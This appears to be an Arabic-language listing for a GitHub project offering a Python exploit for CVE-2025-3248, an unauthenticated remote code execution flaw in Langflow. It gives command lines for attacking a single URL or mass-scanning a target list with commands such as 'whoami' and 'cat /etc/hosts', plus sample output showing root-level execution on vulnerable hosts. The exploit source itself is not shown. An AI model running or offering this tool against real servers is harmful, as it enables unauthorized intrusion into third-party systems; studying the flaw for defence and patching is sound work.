imbas007/cve-2025-3248استغلال مبني على بايثون لـ CVE-2025-3248 يتيح تنفيذ الأوامر عن بُعد على نسخ Langflow الضعيفة. يدعم فحص عنوان URL فردي وفحص جماعي مع كشف تلقائي للثغرات وتنفيذ الأوامر.
أداة استغلال مبنية بلغة Python لثغرة CVE-2025-3248، والتي تسمح للمهاجمين عن بُعد وبدون مصادقة بتنفيذ كود عشوائي على مثيلات Langflow الضعيفة عبر طلبات HTTP مُعدّة.
python CVE-2025-3248.py http://target-url -c "cat /etc/hosts"
python CVE-2025-3248.py -f targets.txt
python CVE-2025-3248.py -f targets.txt -c "whoami"
[*] Progress: 1/10 URLs checked
[*] Checking https://example.com
[+] Vulnerable - Command Output:
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------
[*] Scan Summary:
[+] Total URLs checked: 10
[+] Vulnerable URLs: 3
[+] Not Vulnerable URLs: 7
[*] Total scan time: 25.34s
[*] Results saved to files with timestamp
المصدر: https://github.com/verylazytech